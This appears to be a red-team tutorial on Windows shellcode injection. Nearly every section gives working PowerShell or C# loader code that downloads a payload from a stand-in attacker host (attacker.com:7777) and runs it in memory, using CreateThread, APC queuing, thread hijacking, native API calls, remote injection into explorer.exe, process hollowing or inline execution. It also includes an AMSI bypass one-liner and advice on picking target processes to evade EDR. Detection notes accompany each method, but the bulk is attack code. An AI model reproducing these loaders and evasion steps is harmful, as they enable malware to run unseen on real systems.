Legend:
[INJECT]= Process injection method |[ALLOC]= Memory allocation |[EXEC]= Execution mechanism |[OPSEC]= Operational Security note |[DETECT]= Detection vector |[EVASION]= Bypass technique
1. What is Shellcode Injection
What it means: Shellcode injection is the process of loading shellcode (raw compiled machine code) into a running process's memory and executing it. Unlike traditional executable files (EXE) that are loaded by the Windows loader, shellcode is raw bytes that are:
- Allocated in memory as executable
- Copied byte-for-byte into that memory region
- Executed via thread creation or direct invocation
- Completely bypasses disk writing and file signatures
Why it matters for red teaming:
| Scenario | Traditional Method | Injection Method |
|---|---|---|
| Run malware on defended system | Download EXE → Defender blocks file | Load shellcode in-memory → No file to detect |
| Evade signature detection | Binary flagged by AV signature | Shellcode has no signature match (new payload) |
| Maintain persistence | Write backdoor to disk | Inject into running process → no forensic footprint |
| Execute post-exploitation tool | Upload tool.exe → AppLocker blocks | Inject shellcode → already in process memory |
Shellcode sources:
- Donut — converts PE (EXE/DLL) → position-independent shellcode
- Msfvenom — generates payload shellcode (meterpreter, reverse shell, etc.)
- Scarecrow — generates obfuscated, evasive shellcode
- Custom — hand-written assembly for specific tasks
- C2 frameworks — Havoc, Cobalt Strike, Sliver generate native shellcode
2. Memory Allocation Fundamentals
What it means: Before executing shellcode, you must allocate memory with specific permissions (readable, writable, executable). Windows provides several APIs, each with different evasion characteristics.
2.1 Memory Protection Flags
// Windows memory page protection constants
PAGE_NOACCESS = 0x0001 // No access (invalid)
PAGE_READONLY = 0x0002 // Read-only
PAGE_READWRITE = 0x0004 // Read + Write
PAGE_WRITECOPY = 0x0008 // Write-copy
PAGE_EXECUTE = 0x0010 // Execute-only
PAGE_EXECUTE_READ = 0x0020 // Execute + Read
PAGE_EXECUTE_READWRITE = 0x0040 // Execute + Read + Write (RWX)
PAGE_EXECUTE_WRITECOPY = 0x0080 // Execute + Write-copy
// Memory allocation flags
MEM_COMMIT = 0x1000 // Commit pages (actually allocate)
MEM_RESERVE = 0x2000 // Reserve address space
MEM_RESET = 0x80000 // Reset pages (discard contents)
MEM_LARGE_PAGES = 0x20000000 // Use large pages
// Combined flags for shellcode:
0x3000 = MEM_COMMIT | MEM_RESERVE (full allocation)
0x0040 = PAGE_EXECUTE_READWRITE (RWX permissions)
2.2 Allocation Methods Comparison
| API | Kernel Level | EDR Visibility | Speed | Common Use |
|---|---|---|---|---|
VirtualAlloc |
Win32 wrapper | High (hooked) | Fast | Baseline injections |
VirtualAllocEx |
Win32 wrapper | High (hooked) | Fast | Remote process |
RtlAllocateHeap |
Native (ntdll) | Medium (less common) | Fast | Stealth allocation |
NtAllocateVirtualMemory |
Native syscall | Low (direct kernel) | Medium | Direct syscalls |
HeapAlloc |
Win32 wrapper | High (hooked) | Medium | Heap-based injection |
MapViewOfFile |
Win32 wrapper | High (hooked) | Slow | File-mapped memory |
Key principle: EDR hooks Win32 APIs (VirtualAlloc, CreateThread, WriteProcessMemory). Using native APIs (ntdll) bypasses hooks but is riskier.
3. VirtualAlloc + CreateThread (Baseline)
What it means: The most straightforward injection method — allocate RWX memory, copy shellcode, create a thread pointing to it. This is what you used in your CTF.
3.1 Basic Implementation
# P/Invoke: Declare kernel32 APIs
$code = @"
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress, // Start address (0 = OS chooses)
uint dwSize, // Size to allocate
uint flAllocationType, // MEM_COMMIT | MEM_RESERVE = 0x3000
uint flProtect // PAGE_EXECUTE_READWRITE = 0x40
);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(
IntPtr lpThreadAttributes, // Security attributes (null)
uint dwStackSize, // Stack size (0 = default)
IntPtr lpStartAddress, // Thread entry point (shellcode address)
IntPtr lpParameter, // Argument to thread (null)
uint dwCreationFlags, // 0 = run immediately
out uint lpThreadId // OUT: thread ID
);
[DllImport("kernel32.dll")]
public static extern void Sleep(uint dwMilliseconds);
"@
# Add the P/Invoke methods to PowerShell
$kernel32 = Add-Type -MemberDefinition $code -Name "Kernel32" -Namespace "Win32" -PassThru
# Step 1: Download shellcode from C2
$shellcode = (New-Object System.Net.WebClient).DownloadData("http://attacker.com:7777/payload.bin")
# Step 2: Allocate RWX memory
# 0x3000 = MEM_COMMIT | MEM_RESERVE
# 0x40 = PAGE_EXECUTE_READWRITE
$mem = $kernel32::VirtualAlloc([IntPtr]::Zero, $shellcode.Length, 0x3000, 0x40)
# Step 3: Copy shellcode bytes into allocated memory
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $mem, $shellcode.Length)
# Step 4: Create thread pointing to shellcode
$threadId = 0
$kernel32::CreateThread([IntPtr]::Zero, 0, $mem, [IntPtr]::Zero, 0, [ref]$threadId)
# Step 5: Give thread time to execute
$kernel32::Sleep(2000)
3.2 Detailed Execution Flow
1. VirtualAlloc([IntPtr]::Zero, ...)
├─ Asks OS: "Allocate $shellcode.Length bytes"
├─ Returns pointer to newly allocated region
├─ [IntPtr]::Zero = "OS pick any free address" (ASLR safe)
└─ Returns: 0x00007FF700001000 (example)
2. Marshal.Copy($shellcode, 0, $mem, ...)
├─ $shellcode = byte array from network (131KB)
├─ $mem = allocated address (0x00007FF700001000)
├─ Copies: shellcode[0] → mem[0], shellcode[1] → mem[1], ...
└─ Result: Memory region now contains executable payload
3. CreateThread(..., $mem, ...)
├─ Tells OS: "Create new thread starting at address 0x00007FF700001000"
├─ OS creates THREAD structure, loads it into process
├─ Sets RIP (instruction pointer) = 0x00007FF700001000
├─ Scheduler picks the thread to run
└─ Thread starts executing shellcode
4. Sleep(2000)
├─ Pauses PowerShell for 2000ms
├─ Gives shellcode time to initialize and callback
└─ Without this, PowerShell might exit before callback completes
3.3 What Happens When Shellcode Runs
Assuming shellcode is a beacon (Havoc/Sliver/Metasploit):
Shellcode execution:
├─ Initialize loader (if reflective DLL)
├─ Resolve API functions (GetProcAddress, LoadLibrary)
├─ Set up command & control communication
├─ Establish callback to C2 server (192.168.1.100:8080)
├─ Receive commands from operator
├─ Execute tasked commands (whoami, upload, etc.)
└─ Repeat callback loop until terminated
3.4 Why This Method Works (And Doesn't)
Pros: - ✅ Simple, reliable, works on most systems - ✅ Very fast execution - ✅ No disk writes (file signature evasion) - ✅ Works with any shellcode
Cons: - ❌ EDR hooks CreateThread → easily detected - ❌ RWX memory allocation is obvious behavior - ❌ New thread creation is logged and monitored - ❌ VirtualAlloc is heavily hooked by EDR - ⚠️ Most basic technique, most well-known pattern
Detection vectors: - Event ID 3 (Process creation) shows new thread - EDR hooks on CreateThread API - Memory scanner sees RWX region - Sysmon Event ID 8 (CreateRemoteThread)
3.5 Optimization: Combine with AMSI Bypass
# Before injecting shellcode, disable AMSI so PowerShell doesn't scan it
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Now inject shellcode (AMSI won't detect it)
# ... VirtualAlloc + CreateThread code ...
4. VirtualAlloc + QueueUserAPC
What it means: Instead of creating a NEW thread, execute shellcode in an EXISTING thread's context via Asynchronous Procedure Call (APC). This avoids the obvious "new thread creation" detection pattern.
4.1 APC Fundamentals
APC (Asynchronous Procedure Call): A callback that executes in a thread's context when the thread enters an "alertable" state. Common alertable states:
WaitForSingleObject()/WaitForMultipleObjects()Sleep()/SleepEx()ReadFile(),WriteFile()(I/O operations)MsgWaitForMultipleObjects()(message loops)SignalObjectAndWait()
Why it's stealthier: No new thread spawning, executes within existing thread.
4.2 Implementation
$code = @"
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr GetCurrentThread();
[DllImport("kernel32.dll")]
public static extern bool QueueUserAPC(
IntPtr pfnAPC, // Function pointer (shellcode address)
IntPtr hThread, // Target thread handle
IntPtr dwData // Parameter to pass (null)
);
[DllImport("kernel32.dll")]
public static extern uint SleepEx(
uint dwMilliseconds, // Sleep duration
bool bAlertable // TRUE = make thread alertable
);
"@
$kernel32 = Add-Type -MemberDefinition $code -Name "Kernel32" -Namespace "Win32" -PassThru
# Download shellcode
$shellcode = (New-Object System.Net.WebClient).DownloadData("http://attacker.com:7777/payload.bin")
# Allocate RWX memory
$mem = $kernel32::VirtualAlloc([IntPtr]::Zero, $shellcode.Length, 0x3000, 0x40)
# Copy shellcode
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $mem, $shellcode.Length)
# Get current thread handle
$thread = $kernel32::GetCurrentThread()
# Queue APC on current thread
$kernel32::QueueUserAPC($mem, $thread, [IntPtr]::Zero)
# Make thread alertable to execute APC
$kernel32::SleepEx(2000, $true) # bAlertable = $true
4.3 Execution Flow
PowerShell process:
├─ Main thread (waiting in SleepEx)
├─ APC Queue: [EMPTY]
│
├─ QueueUserAPC($shellcode_address, $main_thread, null)
│ └─ APC Queue: [$shellcode_address]
│
├─ SleepEx(2000, $true) ← bAlertable = $true
│ ├─ Thread checks APC queue
│ ├─ Finds APC queued → execute it
│ ├─ Sets RIP = $shellcode_address
│ ├─ Shellcode runs in context of main thread
│ └─ After APC completes, thread resumes SleepEx
│
└─ Continue (shellcode still running)
4.4 Why This Is Stealthier
Pros: - ✅ No new thread creation (CreateThread not called) - ✅ No "new thread" in logs - ✅ Executes within PowerShell's existing thread - ✅ Harder for behavioral detection (less obvious) - ✅ Avoids Sysmon Event ID 8 (CreateRemoteThread)
Cons: - ⚠️ Thread must be alertable (requires Sleep/wait call) - ⚠️ If thread is blocked in non-alertable operation, APC doesn't execute - ❌ QueueUserAPC still hooked by EDR - ❌ APC injection is a known technique
Detection vectors: - EDR hooks on QueueUserAPC - API call sequence (SleepEx + QueueUserAPC together is suspicious) - Memory allocation pattern (RWX still obvious)
4.5 Practical Tip: Self-Injection
# Why queue APC on current thread?
# → Avoid cross-process access (simpler, fewer permissions needed)
# → Still avoids CreateThread detection
# → Shellcode runs immediately in PowerShell context
5. VirtualAlloc + SetThreadContext
What it means: Suspend an existing thread, modify its execution context (CPU registers), and resume. This "hijacks" the thread to execute shellcode.
5.1 Thread Context Structure
// x64 CONTEXT structure (simplified)
typedef struct _CONTEXT {
DWORD64 Rax, Rbx, Rcx, Rdx, ...; // General-purpose registers
DWORD64 Rsp; // Stack pointer
DWORD64 Rip; // Instruction pointer ← WE MODIFY THIS
// ... more fields ...
} CONTEXT, *PCONTEXT;
Key register: Rip (Instruction Pointer) — CPU executes whatever address is in Rip next.
5.2 Implementation (Simplified)
$code = @"
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out uint lpThreadId
);
[DllImport("kernel32.dll")]
public static extern bool SuspendThread(IntPtr hThread);
[DllImport("kernel32.dll")]
public static extern bool SetThreadContext(IntPtr hThread, IntPtr lpContext);
[DllImport("kernel32.dll")]
public static extern bool ResumeThread(IntPtr hThread);
// CONTEXT structure (x64) — simplified
[StructLayout(LayoutKind.Sequential)]
public struct CONTEXT {
public ulong P1Home;
public ulong P2Home;
public ulong P3Home;
public ulong P4Home;
public ulong P5Home;
public ulong P6Home;
public uint ContextFlags;
public uint MxCsr;
// ... skipping XMM registers ...
public ulong Rax;
public ulong Rcx;
public ulong Rdx;
public ulong Rbx;
public ulong Rsp;
public ulong Rbp;
public ulong Rsi;
public ulong Rdi;
public ulong R8;
public ulong R9;
public ulong R10;
public ulong R11;
public ulong R12;
public ulong R13;
public ulong R14;
public ulong R15;
public ulong Rip; // ← INSTRUCTION POINTER (we modify this)
// ... more fields ...
}
"@
$kernel32 = Add-Type -MemberDefinition $code -Name "Kernel32" -Namespace "Win32" -PassThru
# Download shellcode
$shellcode = (New-Object System.Net.WebClient).DownloadData("http://attacker.com:7777/payload.bin")
# Allocate memory
$mem = $kernel32::VirtualAlloc([IntPtr]::Zero, $shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $mem, $shellcode.Length)
# Create thread (but in suspended state)
$hThread = [IntPtr]::Zero
$threadId = 0
$kernel32::CreateRemoteThread([Diagnostics.Process]::GetCurrentProcess().Handle,
[IntPtr]::Zero, 0, $mem, [IntPtr]::Zero, 4, [ref]$threadId) # 4 = CREATE_SUSPENDED
# Suspend thread
$kernel32::SuspendThread($hThread)
# Modify thread context (Rip = shellcode address)
$context = [PSObject]::new()
$context.Rip = $mem # Make CPU jump to shellcode
# Set context
$contextPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf($context))
[System.Runtime.InteropServices.Marshal]::StructureToPtr($context, $contextPtr, $false)
$kernel32::SetThreadContext($hThread, $contextPtr)
# Resume thread (CPU jumps to shellcode)
$kernel32::ResumeThread($hThread)
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($contextPtr)
5.3 Why This Is Complex
Pros: - ✅ Thread hijacking is creative (less obvious pattern) - ✅ Avoids traditional CreateThread detection
Cons: - ❌ CONTEXT structure manipulation is complex - ❌ SetThreadContext is hooked by EDR - ❌ Requires accurate CONTEXT structure (differs x86 vs x64) - ❌ Unstable if thread resumes at wrong state - ❌ High detection risk if misconfigured - ⚠️ Not recommended for CTF — use simpler methods first
Detection vectors: - EDR hooks on SuspendThread/SetThreadContext/ResumeThread - Sequence detection (suspend → set context → resume looks like hijacking) - Memory allocation pattern
When to use: Advanced evasion scenarios, when CreateThread is explicitly blocked.
6. RtlCreateUserThread (Native API)
What it means: Instead of using Win32's CreateThread (which is hooked by EDR), use the native ntdll function RtlCreateUserThread. This is a direct NTDLL export, less monitored than Win32 wrappers.
6.1 Native API Concept
Win32 API (Hooked by EDR):
CreateThread() → [EDR Hook] → NtCreateThreadEx() → Kernel
Native API (Less Hooked):
RtlCreateUserThread() → [Possibly hooked, but less common] → NtCreateThreadEx() → Kernel
NtCreateThreadEx() → [Possibly hooked] → Kernel
Direct Syscall (Minimal Hooks):
syscall(NtCreateThreadEx) → [Hard to hook] → Kernel
6.2 RtlCreateUserThread Implementation
$code = @"
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("ntdll.dll")]
public static extern uint RtlCreateUserThread(
IntPtr ProcessHandle, // Process handle
IntPtr ThreadSecurityDescriptor, // Security (null)
bool CreateSuspended, // Suspended (false = run immediately)
uint ZeroBits, // Reserved (0)
IntPtr MaximumStackSize, // Stack size (null = default)
IntPtr CommittedStackSize, // Committed stack (null = default)
IntPtr StartAddress, // Thread entry point (shellcode address)
IntPtr Parameter, // Argument (null)
out IntPtr ThreadHandle, // OUT: thread handle
out IntPtr ClientId // OUT: client ID structure
);
[DllImport("kernel32.dll")]
public static extern IntPtr GetCurrentProcess();
"@
$ntdll = Add-Type -MemberDefinition $code -Name "Ntdll" -Namespace "Win32" -PassThru
# Download shellcode
$shellcode = (New-Object System.Net.WebClient).DownloadData("http://attacker.com:7777/payload.bin")
# Allocate memory
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($shellcode.Length)
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $mem, $shellcode.Length)
# Make memory executable using VirtualAlloc alternative
$kernel32Code = @"
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
"@
$kernel32 = Add-Type -MemberDefinition $kernel32Code -Name "Kernel32" -Namespace "Win32" -PassThru
# Mark region as executable
$oldProtect = 0
$kernel32::VirtualProtect($mem, $shellcode.Length, 0x40, [ref]$oldProtect)
# Get current process handle
$procHandle = $ntdll::GetCurrentProcess()
# Create thread using native API
$threadHandle = [IntPtr]::Zero
$clientId = [IntPtr]::Zero
$ntdll::RtlCreateUserThread($procHandle, [IntPtr]::Zero, $false, 0, [IntPtr]::Zero, [IntPtr]::Zero,
$mem, [IntPtr]::Zero, [ref]$threadHandle, [ref]$clientId)
# Thread is now running
Start-Sleep -Milliseconds 2000
6.3 Why RtlCreateUserThread is Stealthier
Pros: - ✅ Bypasses Win32 hook (RtlCreateUserThread is native) - ✅ Less commonly monitored than CreateThread - ✅ Direct to NTDLL (fewer interception points) - ✅ Same result as CreateThread but at lower level
Cons: - ⚠️ NTDLL functions can still be hooked (just less common) - ❌ Memory allocation is still obvious - ❌ Some modern EDR still hooks RtlCreateUserThread - ⚠️ NTDLL exports vary by Windows version
Detection vectors: - EDR might still hook RtlCreateUserThread - API call sequence (unusual for PowerShell) - Memory allocation (RWX still visible)
6.4 When to Use
- ✅ When CreateThread specifically is hooked/blocked
- ✅ When you want to avoid Win32 API hooks
- ✅ When targeting systems with EDR that only hooks Win32 layer
- ⚠️ Not reliable against advanced EDR (they hook NTDLL too)
7. Remote Process Injection (WriteProcessMemory)
What it means: Instead of injecting into PowerShell's own process, inject shellcode into a DIFFERENT process (explorer.exe, notepad.exe, svchost.exe). This hides the payload from the obvious PowerShell → beacon connection.
7.1 Core Concept
Traditional injection:
PowerShell.exe (attacker-controlled)
├─ Allocate RWX memory
├─ Load shellcode
├─ Create thread
└─ Shell callback comes from PowerShell (obvious!)
Remote injection:
PowerShell.exe (attacker-controlled)
│
└─ Open handle to Explorer.exe
├─ Allocate RWX memory (in Explorer's space)
├─ WriteProcessMemory (copy shellcode to Explorer)
├─ CreateRemoteThread (execute in Explorer)
└─ Beacon callback comes from Explorer.exe (harder to attribute)
7.2 Implementation
$code = @"
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr OpenProcess(
uint dwDesiredAccess, // 0x001F0FFF = PROCESS_ALL_ACCESS
bool bInheritHandle, // false
uint dwProcessId // PID of target
);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr VirtualAllocEx(
IntPtr hProcess, // Target process handle
IntPtr lpAddress, // Address (null)
uint dwSize, // Size
uint flAllocationType, // MEM_COMMIT | MEM_RESERVE
uint flProtect // PAGE_EXECUTE_READWRITE
);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool WriteProcessMemory(
IntPtr hProcess, // Target process handle
IntPtr lpBaseAddress, // Where to write
byte[] lpBuffer, // What to write (shellcode bytes)
uint nSize, // How many bytes
out int lpNumberOfBytesWritten // OUT: bytes written
);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr CreateRemoteThread(
IntPtr hProcess, // Target process handle
IntPtr lpThreadAttributes, // Security (null)
uint dwStackSize, // Stack size (0)
IntPtr lpStartAddress, // Thread entry (shellcode address)
IntPtr lpParameter, // Argument (null)
uint dwCreationFlags, // 0 = run immediately
out uint lpThreadId // OUT: thread ID
);
"@
$kernel32 = Add-Type -MemberDefinition $code -Name "Kernel32" -Namespace "Win32" -PassThru
# Step 1: Download shellcode
$shellcode = (New-Object System.Net.WebClient).DownloadData("http://attacker.com:7777/payload.bin")
# Step 2: Find target process (e.g., explorer.exe)
$targetProcess = Get-Process explorer | Select-Object -First 1
$targetPid = $targetProcess.Id
Write-Host "[*] Target PID: $targetPid"
# Step 3: Open handle to target process
# 0x001F0FFF = PROCESS_ALL_ACCESS
$hProcess = $kernel32::OpenProcess(0x001F0FFF, $false, $targetPid)
if ($hProcess -eq [IntPtr]::Zero) {
Write-Host "[!] Failed to open process — need higher privileges!"
exit
}
Write-Host "[+] Opened target process: 0x$($hProcess.ToString('X'))"
# Step 4: Allocate memory in target process
$allocAddr = $kernel32::VirtualAllocEx($hProcess, [IntPtr]::Zero, $shellcode.Length, 0x3000, 0x40)
if ($allocAddr -eq [IntPtr]::Zero) {
Write-Host "[!] Failed to allocate memory"
exit
}
Write-Host "[+] Allocated memory at: 0x$($allocAddr.ToString('X'))"
# Step 5: Write shellcode to target process memory
$bytesWritten = 0
$writeResult = $kernel32::WriteProcessMemory($hProcess, $allocAddr, $shellcode, $shellcode.Length, [ref]$bytesWritten)
if (-not $writeResult) {
Write-Host "[!] Failed to write process memory"
exit
}
Write-Host "[+] Wrote $bytesWritten bytes to target process"
# Step 6: Create thread in target process to execute shellcode
$threadId = 0
$threadHandle = $kernel32::CreateRemoteThread($hProcess, [IntPtr]::Zero, 0, $allocAddr, [IntPtr]::Zero, 0, [ref]$threadId)
if ($threadHandle -eq [IntPtr]::Zero) {
Write-Host "[!] Failed to create remote thread"
exit
}
Write-Host "[+] Created remote thread ID: $threadId"
Write-Host "[*] Shellcode executing in process $targetPid..."
# Optional: Close handle (not necessary, but clean)
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($hProcess)
7.3 Why Remote Injection is Powerful
Pros: - ✅ Beacon appears to come from Explorer/Notepad (legitimate process) - ✅ Hides PowerShell → C2 connection (harder to attribute) - ✅ Survives PowerShell session termination - ✅ Better persistence (shell continues if PowerShell closes) - ✅ Process masquerading (looks like explorer.exe in logs)
Cons: - ❌ Requires elevated privileges (to open explorer.exe) - ❌ WriteProcessMemory is heavily hooked by EDR - ❌ Cross-process injection is primary EDR detection pattern - ❌ Sysmon Event ID 8 (CreateRemoteThread) triggers on this - ⚠️ EDR specifically looks for suspicious processes opening others
Detection vectors: - Sysmon Event ID 8: CreateRemoteThread activity - EDR hooks on OpenProcess + VirtualAllocEx + WriteProcessMemory - API call sequence (PowerShell → Explorer with memory write) - Behavioral: PowerShell touching Explorer's memory (very suspicious)
7.4 Target Process Selection
# Good targets (legitimate, common):
explorer.exe # Always running, user-level
notepad.exe # Legitimate but obvious
svchost.exe # System process (harder to detect)
searchindexer.exe # System service
wsmprovhost.exe # PowerShell host
wmpnetwk.exe # Windows Media Player
# Bad targets (suspicious):
calc.exe # Too obvious
cmd.exe # Would spawn new process
powershell.exe # Circular, obvious
# Best practice:
# Use process that's ALWAYS running, LEGITIMATE, and HARD TO MONITOR
7.5 Privilege Requirement
# Check current privilege level
[Security.Principal.WindowsIdentity]::GetCurrent().Owner
# S-1-5-21-...-512 = Admin/System
# S-1-5-21-...-1000+ = Regular user (can't open explorer.exe)
# If not admin:
# Option 1: Use privilege escalation first
# Option 2: Inject into process you own (powershell.exe)
# Option 3: Use AppContainer isolation bypass
8. Process Hollowing
What it means: Process hollowing is an advanced technique where you:
- Create a "legitimate" process in SUSPENDED state (e.g., notepad.exe)
- Unmap its original memory image (using NtUnmapViewOfSection)
- Allocate new memory and write malicious binary instead
- Resume the process (now executing malware from trusted binary)
8.1 Concept
Traditional Process Creation:
notepad.exe
├─ Loader reads PE header
├─ Allocates memory for notepad code
├─ Loads notepad.exe into memory
├─ Creates thread → notepad starts
└─ [Obviously a legitimate process]
Process Hollowing:
notepad.exe
├─ Create in SUSPENDED state
├─ Unmap notepad's memory (NtUnmapViewOfSection)
├─ Allocate new memory
├─ Write MALWARE binary instead of notepad
├─ Resume thread
└─ [Appears to be notepad.exe, but runs malware!]
8.2 Implementation (Simplified C# Version)
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
class ProcessHollowing {
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CreateProcessA(
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation
);
[DllImport("ntdll.dll")]
public static extern uint NtUnmapViewOfSection(IntPtr ProcessHandle, IntPtr BaseAddress);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool GetThreadContext(IntPtr hThread, ref CONTEXT lpContext);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetThreadContext(IntPtr hThread, ref CONTEXT lpContext);
[DllImport("kernel32.dll")]
public static extern uint ResumeThread(IntPtr hThread);
[StructLayout(LayoutKind.Sequential)]
public struct STARTUPINFO {
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public ushort wShowWindow;
public ushort cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION {
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
public struct CONTEXT {
public uint ContextFlags;
// ... truncated for brevity ...
public ulong Rbx;
public ulong Rsp;
public ulong Rbp;
// ... more fields ...
}
public static void HollowProcess(string targetExe, byte[] maliciousBinary) {
// Step 1: Create process in suspended state
STARTUPINFO si = new STARTUPINFO();
si.cb = (uint)Marshal.SizeOf(si);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
bool created = CreateProcessA(
targetExe,
null,
IntPtr.Zero,
IntPtr.Zero,
false,
0x4, // CREATE_SUSPENDED
IntPtr.Zero,
null,
ref si,
out pi
);
if (!created) {
Console.WriteLine("[!] Failed to create process");
return;
}
Console.WriteLine($"[+] Created suspended process: PID {pi.dwProcessId}");
// Step 2: Get thread context (to read entry point)
CONTEXT ctx = new CONTEXT();
ctx.ContextFlags = 0x100001; // CONTEXT_INTEGER
GetThreadContext(pi.hThread, ref ctx);
// Step 3: Unmap original process image
NtUnmapViewOfSection(pi.hProcess, new IntPtr(0x400000)); // Typical ImageBase
Console.WriteLine("[+] Unmapped original process image");
// Step 4: Allocate memory for malicious binary
IntPtr allocAddr = VirtualAllocEx(pi.hProcess, new IntPtr(0x400000),
(uint)maliciousBinary.Length, 0x3000, 0x40);
Console.WriteLine($"[+] Allocated memory at: 0x{allocAddr.ToString("X")}");
// Step 5: Write malicious binary
int bytesWritten = 0;
WriteProcessMemory(pi.hProcess, allocAddr, maliciousBinary,
(uint)maliciousBinary.Length, out bytesWritten);
Console.WriteLine($"[+] Wrote {bytesWritten} bytes");
// Step 6: Update thread context (entry point to malware)
ctx.Rbx = (ulong)allocAddr.ToInt64(); // or appropriate register
SetThreadContext(pi.hThread, ref ctx);
Console.WriteLine("[+] Updated thread context");
// Step 7: Resume thread (now runs malware)
ResumeThread(pi.hThread);
Console.WriteLine("[+] Resumed thread — malware executing!");
}
}
8.3 Why Process Hollowing is Powerful
Pros: - ✅ Binary appears to be legitimate (notepad.exe) - ✅ Process image is completely replaced (hard to detect) - ✅ Parent-child relationship looks legitimate - ✅ Bypasses some file-based detection (binary on disk is legit)
Cons: - ❌ Very complex implementation (many APIs, structure manipulation) - ❌ NtUnmapViewOfSection is heavily monitored - ❌ Memory manipulation sequence is obvious to EDR - ❌ Modern EDR specifically detects hollowing pattern - ❌ Sysmon Event ID 8/10 (CreateRemoteThread + WriteProcessMemory) - ⚠️ Not reliable against modern Defender/EDR
Detection vectors: - NtUnmapViewOfSection + VirtualAllocEx sequence - SetThreadContext on suspended process - Behavior: PE header at 0x400000, then unmap/rewrite - EDR has specific signatures for hollowing
8.4 When to Use
- ⚠️ Legacy systems (older Windows, no EDR)
- ✅ Lab/CTF environments
- ❌ NOT for real engagements (too obvious now)
9. Inline Shellcode Execution (No Thread)
What it means: Execute shellcode synchronously in the current thread, WITHOUT creating a new thread. This minimizes thread-creation detection but blocks PowerShell until shellcode completes.
9.1 Implementation
# Minimal API surface — just allocate, copy, execute
$shellcode = (New-Object System.Net.WebClient).DownloadData("http://attacker.com:7777/payload.bin")
# Allocate memory
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($shellcode.Length)
# Copy shellcode
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $mem, $shellcode.Length)
# Mark as executable
$code = @"
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
"@
$kernel32 = Add-Type -MemberDefinition $code -Name "Kernel32" -Namespace "Win32" -PassThru
$oldProtect = 0
$kernel32::VirtualProtect($mem, $shellcode.Length, 0x40, [ref]$oldProtect)
# Create delegate pointing to shellcode
$delegate = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($mem, [Action])
# Execute directly
& $delegate # PowerShell blocks here until shellcode returns
9.2 Execution Flow
PowerShell execution:
├─ Allocate memory → 0x00007FF700001000
├─ Copy shellcode bytes into memory
├─ Create [Action] delegate pointing to 0x00007FF700001000
├─ Invoke delegate via & $delegate
│ │
│ └─ CPU jumps to 0x00007FF700001000
│ ├─ Shellcode initialization
│ ├─ Shellcode runs
│ ├─ Shellcode loops (waits for commands)
│ └─ Eventually shellcode returns
│
├─ PowerShell continues after shellcode returns
└─ Exit PowerShell session
9.3 Why Inline Execution is Stealthy
Pros: - ✅ NO thread creation (no CreateThread API call) - ✅ Minimal API surface (just AllocHGlobal + VirtualProtect) - ✅ No obvious thread-creation log entries - ✅ Single thread, continuous execution - ✅ Passes some behavioral detection (less API activity)
Cons: - ❌ PowerShell BLOCKS until shellcode completes (obvious in console) - ❌ If shellcode crashes, PowerShell crashes - ❌ Memory allocation still hooked by EDR - ❌ Delegate invocation might be suspicious - ⚠️ Requires shellcode that runs indefinitely (loops for commands)
